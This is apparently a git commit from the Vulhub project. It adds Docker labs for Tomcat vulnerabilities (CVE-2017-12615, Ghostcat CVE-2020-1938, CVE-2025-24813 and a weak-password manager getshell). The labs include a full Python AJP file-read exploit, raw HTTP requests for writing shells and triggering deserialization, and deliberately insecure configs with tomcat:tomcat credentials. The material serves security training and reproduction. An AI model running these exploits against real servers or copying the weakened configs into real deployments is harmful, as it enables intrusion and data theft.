first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

View File

@@ -0,0 +1,8 @@
FROM vulhub/tomcat:8.5.19
LABEL maintainer="phithon <root@leavesongs.com>"
RUN cd /usr/local/tomcat/conf \
&& LINE=$(nl -ba web.xml | grep '<load-on-startup>1' | awk '{print $1}') \
&& ADDON="<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>" \
&& sed -i "$LINE i $ADDON" web.xml

View File

@@ -0,0 +1,67 @@
# Tomcat Arbitrary Write-file Vulnerability through PUT Method (CVE-2017-12615)
[中文版本(Chinese version)](README.zh-cn.md)
Tomcat version: 8.5.19
## Environment Setup
```
docker compose build
docker compose up -d
```
After successfully running the commands above, you will see the example page of Tomcat through visiting the site `http://your-ip:8080`.
## Rationale
Reference links:
- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
- https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
Tomcat sets up the write permissionreadonly=false, which leads to the result that we can write files into the server.
```
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
```
Although Tomcat checks the file suffix to some extent(can't write jsp directly), we can still bypass the limitation through some file system features(such as using `/` in Linux).
## POC
Send the following packets directly and then the shell will be written into the Web root directory.
```
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
```
As follows:
![](01.png)

View File

@@ -0,0 +1,65 @@
# Tomcat PUT方法任意写文件漏洞CVE-2017-12615
Tomcat版本8.5.19
## 环境搭建
```
docker compose build
docker compose up -d
```
运行完成后访问`http://your-ip:8080`即可看到Tomcat的Example页面。
## 漏洞原理
参考:
- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
- https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
漏洞本质Tomcat配置了可写readonly=false导致我们可以往服务器写文件
```
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
```
虽然Tomcat对文件后缀有一定检测不能直接写jsp但我们使用一些文件系统的特性如Linux下可用`/`)来绕过了限制。
## 漏洞复现
直接发送以下数据包即可在Web根目录写入shell
```
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
```
如下:
![](01.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
tomcat:
build: .
ports:
- "8080:8080"

BIN
tomcat/CVE-2020-1938/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 174 KiB

BIN
tomcat/CVE-2020-1938/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

View File

@@ -0,0 +1,37 @@
# Aapache Tomcat AJP Arbitrary File Read / Include VulnerabilityCVE-2020-1938
[中文版本(Chinese version)](README.zh-cn.md)
Java is currently the most popular programming language in Web development, and Tomcat is one of the most popular Java middleware servers. It has been used for more than 20 years since its initial release.
[Ghostcat](https://www.chaitin.cn/en/ghostcat) is a serious vulnerability in Tomcat discovered by security researcher of Chaitin Tech. Due to a flaw in the Tomcat AJP protocol, an attacker can read or include any files in the webapp directories of Tomcat. For example, An attacker can read the webapp configuration files or source code. In addition, if the target web application has a file upload function, the attacker may execute malicious code on the target host by exploiting file inclusion through Ghostcat vulnerability.
References:
- https://www.chaitin.cn/en/ghostcat
- https://www.cnvd.org.cn/webinfo/show/5415
- https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
- https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
## Environment Setup
Start a local Apache Tomcat 9.0.30:
```
docker compose up -d
```
After successfully running the commands above, you will see the example page of Tomcat through visiting the site `http://your-ip:8080`, there is also a AJP port 8009 is listening.
## Proof Of Concept
Test it online at <https://www.chaitin.cn/en/ghostcat>:
![](2.png)
Here are some tools to test this vulnerability:
- https://github.com/chaitin/xray
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
![](1.png)

View File

@@ -0,0 +1,35 @@
# Aapache Tomcat AJP 文件包含漏洞CVE-2020-1938
Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。
[Ghostcat幽灵猫](https://www.chaitin.cn/zh/ghostcat) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
参考链接:
- https://www.chaitin.cn/zh/ghostcat
- https://www.cnvd.org.cn/webinfo/show/5415
- https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
- https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
## 漏洞环境
执行如下命令启动一个Tomcat 9.0.30
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看tomcat默认页面此时通过AJP协议的8009端口亦可访问Tomcat。
## 漏洞利用
利用官方网站在线测试:
![](2.png)
利用如下工具均可测试漏洞:
- https://github.com/chaitin/xray
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
![](1.png)

View File

@@ -0,0 +1,7 @@
version: '2'
services:
tomcat:
image: vulhub/tomcat:9.0.30
ports:
- "8080:8080"
- "8009:8009"

303
tomcat/CVE-2020-1938/poc.py Normal file
View File

@@ -0,0 +1,303 @@
#!/usr/bin/env python
#修改自 CNVD-2020-10487 Tomcat-Ajp lfi
#by zwliu2
import struct
from io import StringIO
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))

BIN
tomcat/CVE-2025-24813/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 118 KiB

BIN
tomcat/CVE-2025-24813/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 142 KiB

BIN
tomcat/CVE-2025-24813/3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

View File

@@ -0,0 +1,7 @@
FROM vulhub/tomcat:9.0.97
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& sed -i '/<load-on-startup>1<\/load-on-startup>/i \ <init-param>\n <param-name>readonly</param-name>\n <param-value>false</param-value>\n </init-param>' /usr/local/tomcat/conf/web.xml \
&& sed -i '/<\/Context>/i \ <Manager className="org.apache.catalina.session.PersistentManager">\n <Store className="org.apache.catalina.session.FileStore"/>\n </Manager>' /usr/local/tomcat/conf/context.xml

View File

@@ -0,0 +1,89 @@
# Tomcat Session Deserialization Remote Code Execution (CVE-2025-24813)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Tomcat is a widely used open-source implementation of the Java Servlet, JavaServer Pages, Java Expression Language, and WebSocket technologies.
A deserialization vulnerability was found in Apache Tomcat from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. It occurs when Tomcat is configured with both writable DefaultServlet (readonly=false) and file-based session persistence. The combination allows attackers to write arbitrary files to the server and trigger deserialization of these files by manipulating the JSESSIONID cookie, ultimately leading to remote code execution.
- <https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq>
- <https://github.com/charis3306/CVE-2025-24813>
- <https://forum.butian.net/article/674>
## Environment Setup
Execute the following commands to start a vulnerable Tomcat 9.0.97 server:
```
docker compose build
docker compose up -d
```
After the server starts, you can access the Tomcat example page by visiting `http://your-ip:8080`.
## Vulnerability Reproduction
The vulnerability exists due to two key misconfigurations in Tomcat. First, the DefaultServlet is configured with readonly=false, allowing file uploads:
```xml
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
```
Second, Tomcat is configured to use file-based session persistence.
```xml
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
```
Both configurations use the same default storage path: `$CATALINA_BASE/work/Catalina/localhost/ROOT`.
When sending a partial PUT request, Tomcat converts path separators (/) in the file path to periods (.) and temporarily stores the file in the session storage directory. By crafting a specific request, we can write a malicious serialized object to this directory.
To exploit this vulnerability, first send a partial PUT request with the Content-Range header to write a file named `.deserialize.session` in the temporary directory (I use the URLDNS gadget for testing purposes):
```
PUT /deserialize/session HTTP/1.1
Host: your-ip:8080
Content-Length: 1234
Content-Range: bytes 0-5/10
deserialize content
```
![](1.png)
Then, send another request with a manipulated JSESSIONID cookie to trigger deserialization of the file:
```
GET / HTTP/1.1
Host: your-ip:8080
Cookie: JSESSIONID=.deserialize
```
![](2.png)
As you can see, the URLDNS gadget is successfully deserialized, and the DNS request is sent:
![](3.png)
In a real attack scenario, the "deserialize content" would be replaced with a malicious serialized Java object that can execute arbitrary code when deserialized by web applications.

View File

@@ -0,0 +1,87 @@
# Tomcat 远程代码执行漏洞CVE-2025-24813
Apache Tomcat 是一个广泛使用的开源Java Servlet、JavaServer Pages、Java Expression Language和WebSocket技术的实现。
在 Tomcat 版本 9.x ~ 9.0.9710.x ~ 10.1.34, 11.x ~ 11.0.2 中,当 Tomcat 同时配置了可写的 DefaultServletreadonly=false和基于文件的会话持久化时攻击者可以向服务器写入任意文件并通过操作 JSESSIONID cookie 触发这些文件的反序列化,最终导致远程代码执行。
- <https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq>
- <https://github.com/charis3306/CVE-2025-24813>
- <https://forum.butian.net/article/674>
## 环境搭建
执行以下命令启动存在漏洞的Tomcat 9.0.97服务器:
```
docker compose build
docker compose up -d
```
服务启动后,访问`http://your-ip:8080`即可看到Tomcat的示例页面。
## 漏洞复现
该漏洞存在的原因是Tomcat中两个关键的错误配置。首先DefaultServlet配置了readonly=false允许文件上传
```xml
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
```
其次Tomcat配置了基于文件的Session持久化
```xml
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
```
这两种配置都使用相同的默认存储路径:`$CATALINA_BASE/work/Catalina/localhost/ROOT`
当发送不完全的PUT请求使用`Content-Range`Tomcat会将文件路径中的分隔符(/)转换为句点(.),并将文件临时存储在会话存储目录中。利用这个特效,我们可以将恶意序列化对象写入此临时文件中。
要利用此漏洞首先发送带有Content-Range头的部分PUT请求在临时目录中写入名为.deserialize.session的文件这里使用URLDNS gadget进行测试
```
PUT /deserialize/session HTTP/1.1
Host: your-ip:8080
Content-Length: 1234
Content-Range: bytes 0-5/10
deserialize content
```
![](1.png)
然后发送另一个带有操作过的JSESSIONID cookie的请求触发文件的反序列化
```
GET / HTTP/1.1
Host: your-ip:8080
Cookie: JSESSIONID=.deserialize
```
![](2.png)
可见URLDNS gadget被成功反序列化并发送了DNS请求
![](3.png)
在实际攻击场景中,"deserialize content"将被替换为恶意的序列化Java对象当被目标应用反序列化时可以执行任意代码。

View File

@@ -0,0 +1,5 @@
services:
tomcat:
build: .
ports:
- "8080:8080"

BIN
tomcat/tomcat8/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 99 KiB

60
tomcat/tomcat8/README.md Normal file
View File

@@ -0,0 +1,60 @@
# Tomcat7+ Weak Password && Backend Getshell Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
Tomcat version: 8.0
## Introduction
Tomcat supports deploying the war files through backend, so we can directly place the webshell into the web directory. In order to access the backend, permissions are needed.
Permissions of Tomcat7+ are as follows:
- managerbackend management
- manager-gui (permission of html pages)
- manager-status (permission to view status)
- manager-script (permission of text interface and the status permission)
- manager-jmx (jmx permissions, and status permissions)
- host-manager (virtual host management)
- admin-gui (permission of html pages)
- admin-script (permission of text interface)
To know more about the permissions, please read: http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
Permissions of users are configured in the ` conf/tomcat-users.xml ` file:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
```
As can be seen, user tomcat has all of the permissions mentioned above, and the password is `tomcat`.
There are no users by default in Tomcat8 through normal installation, and the manager page only allows local IP to visit. Only if the administrator has manually modified these properties can we make an attack.
## Environment and Test
Just run
```
docker compose up -d
```
Open the tomcat management page `http://your-ip:8080/manager/html`enter the weak password `tomcat:tomcat`then access the backend
![](1.png)
Upload war package and then get shell directly.

View File

@@ -0,0 +1,58 @@
# Tomcat7+ 弱口令 && 后台getshell漏洞
Tomcat版本8.0
## 环境说明
Tomcat支持在后台部署war文件可以直接将webshell部署到web目录下。其中欲访问后台需要对应用户有相应权限。
Tomcat7+权限分为:
- manager后台管理
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限和status权限
- manager-jmx 拥有jmx权限和status权限
- host-manager虚拟主机管理
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限
这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
`conf/tomcat-users.xml`文件中配置用户的权限:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
```
可见用户tomcat拥有上述所有权限密码是`tomcat`
正常安装的情况下tomcat8中默认没有任何用户且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下才可以进行攻击。
## 漏洞测试
无需编译,直接启动整个环境:
```
docker compose up -d
```
打开tomcat管理页面`http://your-ip:8080/manager/html`,输入弱密码`tomcat:tomcat`,即可访问后台:
![](1.png)
上传war包即可直接getshell。

View File

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<Context antiResourceLocking="false" privileged="true" >
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="\d+\.\d+\.\d+\.\d+" />
</Context>

View File

@@ -0,0 +1,10 @@
version: '2'
services:
tomcat:
image: vulhub/tomcat:8.0
volumes:
- ./tomcat-users.xml:/usr/local/tomcat/conf/tomcat-users.xml
- ./context.xml:/usr/local/tomcat/webapps/manager/META-INF/context.xml
- ./context.xml:/usr/local/tomcat/webapps/host-manager/META-INF/context.xml
ports:
- "8080:8080"

View File

@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>